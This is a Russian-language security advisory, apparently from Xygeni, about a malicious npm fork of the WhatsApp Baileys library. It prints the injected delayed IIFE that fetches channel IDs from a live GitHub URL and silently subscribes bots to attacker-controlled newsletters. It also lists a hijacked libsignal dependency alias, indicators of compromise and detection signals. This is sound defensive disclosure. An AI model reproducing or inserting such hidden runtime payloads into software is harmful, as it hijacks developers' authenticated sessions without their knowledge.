TL, д-р
Исследовательская группа Xygeni Security определили вредоносный npm-пакет, @dappaoffc/baileys-modопубликовано как форк широко используемой библиотеки WhatsApp Web API. @whiskeysockets/baileys.
Начиная с версии 8.0.1, этот вредоносный npm-пакет содержит внедрение кода во время выполнения. lib/Socket/newsletter.jsВнедренная логика незаметно подписывает аутентифицированную сессию бота WhatsApp разработчика на каналы рассылки новостей, контролируемые злоумышленником.
Полезная нагрузка активируется через 80 секунд после загрузки модуля и динамически получает список целей из GitHub, что делает это поведение самообновляющимся и затрудняет его обнаружение с помощью анализа во время установки.
Технический обзор
В ходе планового мониторинга недавно опубликованных зависимостей исследовательская группа Xygeni Security обнаружила аномальное поведение в @dappaoffc/baileys-mod, позже подтверждено как вредоносный npm-пакет нацелены на экосистему ботов WhatsApp.
В отличие от червей, крадущих учетные данные, или программ-вымогателей, этот вредоносный пакет npm использует в своих целях доверительные отношения между разработчиком и широко распространенной библиотекой с открытым исходным кодом.
Данный пакет представляет собой модифицированную версию BaileysЭто популярная реализация WhatsApp Web API, широко используемая для создания ботов автоматизации. В этой экосистеме установка форков является распространенной практикой. Следовательно, злоумышленник использовал реалистичную модель распространения, а не уязвимость.
Важно:
- Скрипт предварительной установки проверяет только версию Node.js.
- В процессе установки утечка учетных данных не происходит.
- После установки подозрительной активности не обнаружено.
- Внедрение выполняется исключительно во время выполнения программы.
Благодаря такой конструкции, сканеры, устанавливаемые во время установки, не смогут обнаружить вредоносное поведение.
Механизм внедрения вредоносного кода во время выполнения внутри вредоносного npm-пакета
Вредоносная логика, содержащаяся в этом вредоносном npm-пакете, находится в lib/Socket/newsletter.js, встроенный непосредственно в контекст выполнения модуля.
Злоумышленник обернул внедренный блок в выражение немедленно вызываемой функции (IIFE), которое гарантирует выполнение сразу после загрузки модуля.
Однако вместо немедленного запуска полезная нагрузка вводит механизм отложенного выполнения:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
После истечения задержки полезная нагрузка выполняет управляемую последовательность действий:
- Получает JSON файл из URL-адреса необработанного контента GitHub.
- Анализирует список идентификаторов рассылок WhatsApp.
- Выполняет итерацию по списку.
- Объявления
newsletterWMexQuery(id, QueryIds.FOLLOW)для каждой записи. - Запросы отправляются с интервалом в пять секунд, чтобы снизить вероятность обнаружения превышения лимита запросов.
- Незаметно подавляет все ошибки во время выполнения.
Поскольку код вызывает внутренние библиотечные функции, а не внешние скрипты, результирующий трафик практически неотличим от законных действий, инициированных пользователем. WhatsApp-х С точки зрения протокола, бот добровольно подписался на эти каналы.
Техническое сравнение: легитимное поведение против поведения, внедренного в организм.
| Компонент | Законное поведение | Злонамеренная инъекция |
|---|---|---|
| Фаза установки | Проверяет только версию Node.js. | В момент установки не было обнаружено видимых вредоносных действий. |
| Инициализация модуля | Экспорт фабрики по производству разъемов WhatsApp | IIFE выполняется автоматически при загрузке модуля. |
| Срок выполнения | Отсутствие задержки поведения | 80-секундная задержка активации |
| Сетевая связь | Обмен данными осуществляется только через протокол WhatsApp WebSocket. | Исходящая загрузка необработанного контента в GitHub (канал динамического управления) |
| Действия с новостной рассылкой | Запросы на подписку, инициированные пользователем | Автоматизированные запросы FOLLOW через внутренний API библиотеки |
| Обработка ошибок | Распространяет операционные ошибки | Незаметно подавляет все исключения |
Динамический канал управления через GitHub
Список подписчиков новостной рассылки размещен по адресу:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
Данная конструкция обеспечивает ряд эксплуатационных преимуществ:
- Динамическое обновление полезной нагрузки без публикации новой версии npm.
- Доверенная TLS-точка доступа, которая незаметно вписывается в обычный трафик разработчиков.
- Не требуется инфраструктура, управляемая злоумышленником.
- Сохранение состояния уже развернутых ботов.
Поскольку внедрение выполняется внутри области видимости фабрики, оно повторно использует внутренние замыкания, такие как newsletterWMexQuery и delay без импорта внешних модулей. Это минимизирует занимаемое пространство и повышает скрытность.
По сути, GitHub выступает в качестве облегченного канала распространения команд.
Псевдонимы зависимостей и сигналы атрибуции
Метаданные пакета содержат следующий псевдоним зависимости:
"libsignal": "npm:@skyzopedia/libsignal-node"
Это перенаправляет критически важную криптографическую зависимость в область видимости npm, контролируемую злоумышленником.
Кроме того, метаданные имитируют исходный проект, ссылаясь на оригинального автора и репозиторий. Это повышает воспринимаемую легитимность и снижает критику при поверхностном анализе.
Эти сигналы указывают на преднамеренное смешение экосистем, а не на что-либо другое. оппортунистическое вмешательство.
Признаки компрометации этого вредоносного пакета npm
Группам специалистов по безопасности, расследующим деятельность этого вредоносного пакета npm, следует оценить следующие признаки:
Сетевые сигналы
- Исходящие GET-запросы к
raw.githubusercontent.comиз процессов бота WhatsApp - Подписка на новостную рассылку: отслеживание действий, происходящих без запуска логики приложения.
Сигналы пакетов
@dappaoffc/baileys-modверсия 8.0.1 (и, возможно, 8.0.0)- Перенаправление псевдонимов зависимостей
libsignal - Внедрение IIFE во время выполнения
newsletter.js
Поведенческие сигналы
- Запросы FOLLOW отправляются с интервалом в пять секунд.
- Перед подпиской на новостную рассылку пользователь не взаимодействует ни с кем.
- Подавление скрытых ошибок внутри кода основной библиотеки.
В отличие от традиционных вредоносных программ, эта атака не требует утечки учетных данных. Злоупотребление происходит исключительно в контексте уже аутентифицированной сессии.
Обнаружение и устранение угроз с помощью Xygeni
Этот случай наглядно демонстрирует, почему одного лишь сканирования во время установки недостаточно. Вредоносное поведение проявляется после загрузки модуля и скрывается внутри легитимной бизнес-логики.
Система раннего оповещения о вредоносном ПО (MEW) от Xygeni Этот пакет был обнаружен путем сопоставления нескольких сигналов, а не на основе одной единственной сигнатуры.
Статический анализ исходных данных
MEW проверяет исходные коды пакетов целиком, а не только скрипты жизненного цикла.
В данном случае в число сигналов обнаружения входили:
- Неожиданный
fetch()вызов внутри основного модуля WhatsApp - Исходящая коммуникация с необработанным контентом GitHub
- Шаблоны отложенного выполнения, встроенные в логику времени выполнения.
- Вложенная обработка скрытых ошибок
В отдельности эти закономерности могут показаться безобидными. Однако совокупный анализ выявляет аномальное поведение, несовместимое с истинной вилкой Бейлиса.
Корреляция риска зависимости
libsignal Использование псевдонима вызвало дополнительную проверку, поскольку он перенаправляет конфиденциальную зависимость в непроверенную область видимости.
Корреляты Xygeni:
- сигналы репутации издателя
- Несоответствия в распределении полномочий.
- Перенаправление зависимостей от криптографических библиотек
- Индикаторы имитации метаданных
Такой многоуровневый анализ снижает количество ложных срабатываний и позволяет выявлять злоупотребления доверием.
Управление цепочкой поставок с учетом времени выполнения
Поскольку этот вредоносный npm-пакет выполняется во время работы программы, эффективная защита требует анализа поведения.
Xygeni проводит оценку:
- Механизмы отложенного выполнения
- Неправильное использование внутреннего API
- Исходящие сетевые вызовы внутри кода зависимостей
- Аномальный поток управления внутри сторонних библиотек
Помимо вышесказанного, Guardrails политики в CI/CD Можно:
- Блокировка неожиданных исходящих вызовов во время сборки.
- Выявление подозрительных изменений в графе зависимостей
- Внедрить ограничения на перенаправление области действия
- Отметьте динамические шаблоны извлечения полезной нагрузки
Следовательно, сдерживание распространения инфекции не зависит исключительно от удаления записей из реестра.
Почему этот вредоносный npm-пакет важен для безопасности цепочки поставок
Этот вредоносный npm-пакет отражает структурные изменения в злоупотреблениях в цепочке поставок:
- Выполнение во время выполнения, а не установка полезных нагрузок.
- Динамические каналы управления размещены на доверенных платформах.
- Злоупотребление легитимными внутренними API
- Подмена метаданных для имитации действий разработчиков исходного кода
Злоумышленник не использовал уязвимость программного обеспечения. Вместо этого он воспользовался доверием к форкам и обновлениям зависимостей.
Следовательно, для обнаружения требуется полный анализ исходного кода, корреляция рисков зависимостей и анализ с учетом времени выполнения, а не просто сканирование скриптов.





